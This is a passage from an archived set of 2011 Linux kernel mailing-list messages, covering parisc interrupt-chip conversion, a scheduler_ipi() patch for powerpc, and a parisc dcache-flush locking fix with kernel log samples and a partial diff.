run by the expect/dejagnu framework.  I think all the messages above
were generated by a single core dump.  The test doesn't fail when I compile
and run manually.  From the above, I had the sense that the addresses
were changing while the loop while it was being iterated.  With the extra
lock, I haven't seen this. 

Possibly, the answer is to disable interrupts at the &mapping->i_mmap_lock
lock, and skip VMAs if they are not in current mm.  What do you think?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Tue, 8 Feb 2011 22:59:22 +0100 (CET)
Lines: 40
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1102082257470.31804@localhost6.localdomain6>
References: <20110206204411.109238550@linutronix.de>  <1297094535.8577.3.camel@mulgrave.site>  <alpine.LFD.2.00.1102071744590.31804@localhost6.localdomain6>  <1297100168.8577.42.camel@mulgrave.site>  <alpine.LFD.2.00.1102071924150.31804@localhost6.localdomain6>
  <1297113986.8577.92.camel@mulgrave.site>  <1297125136.8577.113.camel@mulgrave.site>  <alpine.LFD.2.00.1102081518420.31804@localhost6.localdomain6>  <alpine.LFD.2.00.1102081536080.31804@localhost6.localdomain6>  <1297183997.3088.72.camel@mulgrave.site> 
 <alpine.LFD.2.00.1102081841180.31804@localhost6.localdomain6> <1297187138.3088.82.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1297202391 10704 80.91.229.12 (8 Feb 2011 21:59:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 8 Feb 2011 21:59:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@redhat.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 08 22:59:46 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pmvb5-0006Xu-MM
	for glpp-linux-parisc@lo.gmane.org; Tue, 08 Feb 2011 22:59:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751701Ab1BHV7n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Feb 2011 16:59:43 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:51812 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082Ab1BHV7m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Feb 2011 16:59:42 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p18LxMcU020743
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 8 Feb 2011 22:59:23 +0100
In-Reply-To: <1297187138.3088.82.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3444
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3444>

On Tue, 8 Feb 2011, James Bottomley wrote:

> On Tue, 2011-02-08 at 18:42 +0100, Thomas Gleixner wrote:
> > On Tue, 8 Feb 2011, James Bottomley wrote:
> > > On Tue, 2011-02-08 at 15:37 +0100, Thomas Gleixner wrote:
> > > > Gah. You set it indirect via IRQF_PERCPU with setup/request_irq.
> > > > 
> > > > Staring too long into that code makes my brain fuzzy.
> > > 
> > > Yes ... know the feeling over the years trying to keep up with the
> > > various irq schemes.  Got to say, it's a lot easier now: The way parisc
> > > chips accept interrupts is essentially MSI.  Trying to live in the old
> > > world modelled on the x86 PIC wasn't fun.
> > > 
> > > So did you want me to roll all the fixes together and apply them, or is
> > > there something else that needs to happen?
> > 
> > All yours. You might want to split out the CHECK... bugfix first.
> 
> Good idea ... you authorise me to do the split and add your
> signed-off-by?

Yup.
 
> > There will be some minor follow up changes, but they depend on code
> > which I'm going to push soon.
> 
> OK ... we'll wait for those.  I'll plan this for the next merge window.

Push the current lot out. The minor changes will probably come after
all the stuff hit linus tree in the 39 merge window.

Thanks,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.comp.emulators.xen.devel,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Wed, 09 Feb 2011 17:14:14 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <1297232054.14982.346.camel@pasglop>
References: <1295262433.30950.53.camel@laptop>
	<1297034792.14982.10.camel@pasglop> <1297086859.13327.16.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297232172 7962 80.91.229.12 (9 Feb 2011 06:16:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 Feb 2011 06:16:12 +0000 (UTC)
Cc: linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-m32r-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter
	Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>, Mikael-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Russell King <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>, Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        xen-devel-GuqFBffKawuULHF6PoxzQEEOCMrvLtNR@public.gmane.org, Chris-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
        uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Fen
To: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Wed Feb 09 07:15:58 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1Pn3LJ-0007Ay-MH
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 09 Feb 2011 07:15:57 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p196FfJF009028;
	Wed, 9 Feb 2011 01:15:42 -0500
Original-Received: from gate.crashing.org
	(IDENT:U2FsdGVkX19HLuKmZY37I01nmw/qJi0HJDkXJcMjWPQ-JorI+TVEvZrY24RiXHRV3ti2O/JbrIOy@public.gmane.org
	[63.228.1.57])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p196FN5E008337 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Wed, 9 Feb 2011 01:15:29 -0500
Original-Received: from [IPv6:::1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id p196EF5o023345;
	Wed, 9 Feb 2011 00:14:16 -0600
In-Reply-To: <1297086859.13327.16.camel@laptop>
X-Mailer: Evolution 2.30.3 
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5189 gmane.linux.ports.mips.general:30222 gmane.linux.ports.ia64:21555 gmane.linux.ports.sh.devel:10058 gmane.linux.ports.sparc:14422 gmane.linux.kernel.cross-arch:9095 gmane.linux.kernel.virtualization:11320 gmane.comp.emulators.xen.devel:98733 gmane.linux.uml.devel:12687 gmane.linux.uml.user:13884 gmane.linux.ports.arm.kernel:105629 gmane.linux.ports.parisc:3445 gmane.linux.kernel:1097797 gmane.linux.ports.alpha:1342 gmane.linux.ports.ppc64.devel:72547
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5189>

On Mon, 2011-02-07 at 14:54 +0100, Peter Zijlstra wrote:
> On Mon, 2011-02-07 at 10:26 +1100, Benjamin Herrenschmidt wrote:
> > You missed:
> > 
> > diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
> > index 9813605..467d122 100644
> > --- a/arch/powerpc/kernel/smp.c
> > +++ b/arch/powerpc/kernel/smp.c
> > @@ -98,6 +98,7 @@ void smp_message_recv(int msg)
> >                 break;
> >         case PPC_MSG_RESCHEDULE:
> >                 /* we notice need_resched on exit */
> > +               scheduler_ipi();
> >                 break;
> >         case PPC_MSG_CALL_FUNC_SINGLE:
> >                 generic_smp_call_function_single_interrupt();
> > 
> > Fold that in and add:
> > 
> > Acked-by: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> 
> Thanks Ben!

BTW. I we lurking at some of our CPU hotplug code and I think I cannot
totally guarantee that this won't be called on an offline CPU. If that's
a problem, you may want to add a test for that.

IE. The call function IPIs are normally not going to be sent to an
offlined CPU, and stop_machine should be a good enough fence here, but
we do abuse reschedule for a number of things (including in some case
to wake up a sleeping CPU that was pseudo-offlined :-)

Cheers,
Ben.

From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
 smp_send_reschedule()
Date: Wed, 09 Feb 2011 10:37:24 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <1297244244.13327.147.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
         <1297034792.14982.10.camel@pasglop>  <1297086859.13327.16.camel@laptop>
         <1297232054.14982.346.camel@pasglop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297244259 30698 80.91.229.12 (9 Feb 2011 09:37:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 Feb 2011 09:37:39 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        linux390@de.ibm
To: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Feb 09 10:37:17 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Pn6U7-0002mO-Bu
	for sgi-linux-mips@gmane.org; Wed, 09 Feb 2011 10:37:15 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:45893 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1491141Ab1BIJhL (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 9 Feb 2011 10:37:11 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 09 Feb 2011 10:36:52 +0100 (CET)
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39568 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1491146Ab1BIJgs (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 9 Feb 2011 10:36:48 +0100
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
        by bombadil.infradead.org with esmtps (Exim 4.72 #1 (Red Hat Linux))
        id 1Pn6Tc-0005eU-I7
        for linux-mips@linux-mips.org; Wed, 09 Feb 2011 09:36:45 +0000
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=dyad.programming.kicks-ass.net)
        by canuck.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
        id 1Pn6Ta-0000uw-1p
        for linux-mips@linux-mips.org; Wed, 09 Feb 2011 09:36:42 +0000
Original-Received: by dyad.programming.kicks-ass.net (Postfix, from userid 65534)
        id 2027524256; Wed,  9 Feb 2011 10:39:56 +0100 (CET)
Original-Received: from [IPv6:::1] (dyad [192.168.0.60])
        by dyad.programming.kicks-ass.net (Postfix) with ESMTP id EDEF72424A;
        Wed,  9 Feb 2011 10:39:31 +0100 (CET)
In-Reply-To: <1297232054.14982.346.camel@pasglop>
X-Mailer: Evolution 2.30.3 
X-archive-position: 29137
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: peterz@infradead.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30223 gmane.linux.ports.alpha:1343 gmane.linux.kernel:1097850 gmane.linux.ports.arm.kernel:105644 gmane.linux.hardware.blackfin.kernel.devel:5190 gmane.linux.ports.ia64:21556 gmane.linux.ports.parisc:3446 gmane.linux.ports.ppc64.devel:72549 gmane.linux.ports.sh.devel:10071 gmane.linux.ports.sparc:14425 gmane.linux.uml.devel:12688 gmane.linux.uml.user:13885 gmane.comp.emulators.xen.devel:98741 gmane.linux.kernel.virtualization:11321 gmane.linux.kernel.cross-arch:9096
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30223>

On Wed, 2011-02-09 at 17:14 +1100, Benjamin Herrenschmidt wrote:
> On Mon, 2011-02-07 at 14:54 +0100, Peter Zijlstra wrote:
> > On Mon, 2011-02-07 at 10:26 +1100, Benjamin Herrenschmidt wrote:
> > > You missed:
> > > 
> > > diff --git a/arch/powerpc/kernel/smp.c b/arch/powerpc/kernel/smp.c
> > > index 9813605..467d122 100644
> > > --- a/arch/powerpc/kernel/smp.c
> > > +++ b/arch/powerpc/kernel/smp.c
> > > @@ -98,6 +98,7 @@ void smp_message_recv(int msg)
> > >                 break;
> > >         case PPC_MSG_RESCHEDULE:
> > >                 /* we notice need_resched on exit */
> > > +               scheduler_ipi();
> > >                 break;
> > >         case PPC_MSG_CALL_FUNC_SINGLE:
> > >                 generic_smp_call_function_single_interrupt();
> > > 
> > > Fold that in and add:
> > > 
> > > Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> > 
> > Thanks Ben!
> 
> BTW. I we lurking at some of our CPU hotplug code and I think I cannot
> totally guarantee that this won't be called on an offline CPU. If that's
> a problem, you may want to add a test for that.
> 
> IE. The call function IPIs are normally not going to be sent to an
> offlined CPU, and stop_machine should be a good enough fence here, but
> we do abuse reschedule for a number of things (including in some case
> to wake up a sleeping CPU that was pseudo-offlined :-)

Hmm, I _think_ that should all work out nicely, but we'll see, if when
this stuff hits the tree powerpc machines start falling over we'd better
put that check in ;-)

Meanwhile I'm going to preserve this comment in the changelog of this
patch so we don't forget.




From - Thu Nov 08 21:06:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve dcache flush on PA8800/PA8900
Date: Thu, 10 Feb 2011 10:03:53 -0600
Lines: 144
Approved: news@gmane.org
Message-ID: <1297353833.4933.50.camel@mulgrave.site>
References: <20110208184509.2E2C74ED8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297353844 9920 80.91.229.12 (10 Feb 2011 16:04:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 Feb 2011 16:04:04 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 10 17:03:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PnYzt-0006Rs-7s
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Feb 2011 17:03:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756561Ab1BJQD4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Feb 2011 11:03:56 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52014 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756339Ab1BJQD4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Feb 2011 11:03:56 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 926F48EE0F5;
	Thu, 10 Feb 2011 08:03:55 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Tbt0m2Pdy7D3; Thu, 10 Feb 2011 08:03:55 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E84188EE0D7;
	Thu, 10 Feb 2011 08:03:54 -0800 (PST)
In-Reply-To: <20110208184509.2E2C74ED8@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3447>

On Tue, 2011-02-08 at 13:45 -0500, John David Anglin wrote:
> > > The change includes James' invalidate_kernel_vmap_range patch which
> > > as of last night, doesn't seem to be in linux-next..
> > 
> > doing this makes it a bit harder to see what you're changing.  It also
> > can't possibly affect your testing, because it's an edge case for xfs
> > journals currently.
> 
> I'll pull that part out and retest.
> 
> > > 1) Changed spin_lock_irq to spin_lock in flush_dcache_mmap_lock because
> > >    the former causes a problem with timer interrupts.
> > 
> > This looks reasonable ... architectures which don't use the lock do
> > this.  Unfortunately, flush_dcache_page can be called from interrupt
> > context, so our only choices are to eliminate the lock or to use it in
> > an interrupt safe manner.  If we use a non interrupt safe lock, it will
> > cause a deadlock eventually.
> 
> I see occassional slow timer interrupt messages and I suspect the expect
> timeouts that I see during the GCC testsuite are also caused by disabling
> interrupts for too long.  I also encountered situations in the GCC
> build where certain applications (gnat1) would run much longer than
> normal (seemed like scheduling was broken).  At the smae time, xntpd
> seemed to be consuming more cycles than normal.

Right, the problem here is the inequivalent aliases I picked up in
testing.  To flush them I loop over all the vma's prio tree.  For a vma
shared by a lot of processes (like the ones in glibc) that's a pretty
large tree traversal.  Once we're sure we don't get inequivalent
aliases, I can apply the patch below and the lock will be held for a
minute fraction of what it was previously.


> Arm has some checks in __flush_dcache_aliase that may eliminate some
> flushes and reduce the time interrupts are disabled in flush_dcache_page,
> but I don't trust the VM_MAYSHARE one.
> 
> > > 3) Added a higher level lock to flush_dcache_page as I found in testing
> > >    that the user mappings appeared to change while the code iterated
> > >    over the user mappings.  Updated comment to better reflect the
> > >    current status WRT inequivalent aliases.  Only updated old_addr
> > >    for shared mappings.  This was simply to suppress the number of
> > >    "INEQUIVALENT" messages.  As noted previously, too many causes the
> > >    console getty process to stop working.  I think it may be possible
> > >    to further optimize this loop.
> > 
> > So this is a big problem.  The flush_dcache_mmap_lock/unlock is supposed
> > to be our protection against this.  If that's not working the generic
> > code is broken.  But I'm not clear what you think is changing.  The lock
> > protects the mapping prio tree ... that can't change as we iterate
> > otherwise we'll walk off a stale entry and go boom.  The actual status
> > of the mappings is allowed to change.
> 
> Specifically, what led me to assume that there was an issue with the
> code as is was various "INEQUIVALENT" messages with a difference between
> old_addr and addr of 0x150000.  This is the only difference other
> than +/- 0x1000 that I have seen.  The GCC libmudflap testsuite triggers
> a number of these odd messages.  Here's some samples.
> 
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x4014b000 and 0x4014a000 in file ld-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406b8000 and 0x40568000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406b9000 and 0x40569000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406ba000 and 0x4056a000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bb000 and 0x4056b000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bc000 and 0x4056c000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bd000 and 0x4056d000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406be000 and 0x4056e000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406bf000 and 0x4056f000 in file libc-2.11.2.so
> Feb  6 04:50:56 mx3210 kernel: INEQUIVALENT ALIASES 0x406c1000 and 0x406c0000 in file libc-2.11.2.so
> 
> The messages occur because there is a core dump when the test is run is
> run by the expect/dejagnu framework.  I think all the messages above
> were generated by a single core dump.  The test doesn't fail when I compile
> and run manually.  From the above, I had the sense that the addresses
> were changing while the loop while it was being iterated.  With the extra
> lock, I haven't seen this. 
> 
> Possibly, the answer is to disable interrupts at the &mapping->i_mmap_lock
> lock, and skip VMAs if they are not in current mm.  What do you think?

They already are distabled by the flush_dcache_mmap_lock

Can we assume these addresses are some type of artifact and just apply
the patch below anyway?  On current parisc, it's what we do (we don't
flush anything beyond the first mapping).

James

---

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..c60cc42 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -276,10 +276,13 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 void flush_dcache_page(struct page *page)
 {
 	struct address_space *mapping = page_mapping(page);
-	struct vm_area_struct *mpnt;
+	struct vm_area_struct *mpnt = NULL;
 	struct prio_tree_iter iter;
 	unsigned long offset;
-	unsigned long addr, old_addr = 0;
+	unsigned long addr = 0;
+#ifdef DEBUG_ALIASES
+	unsigned long old_addr = 0;
+#endif
 	pgoff_t pgoff;
 
 	if (mapping && !mapping_mapped(mapping)) {
@@ -304,14 +307,25 @@ void flush_dcache_page(struct page *page)
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
 		addr = mpnt->vm_start + offset;
 
+#ifdef DEBUG_ALIASES
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
 			if (old_addr)
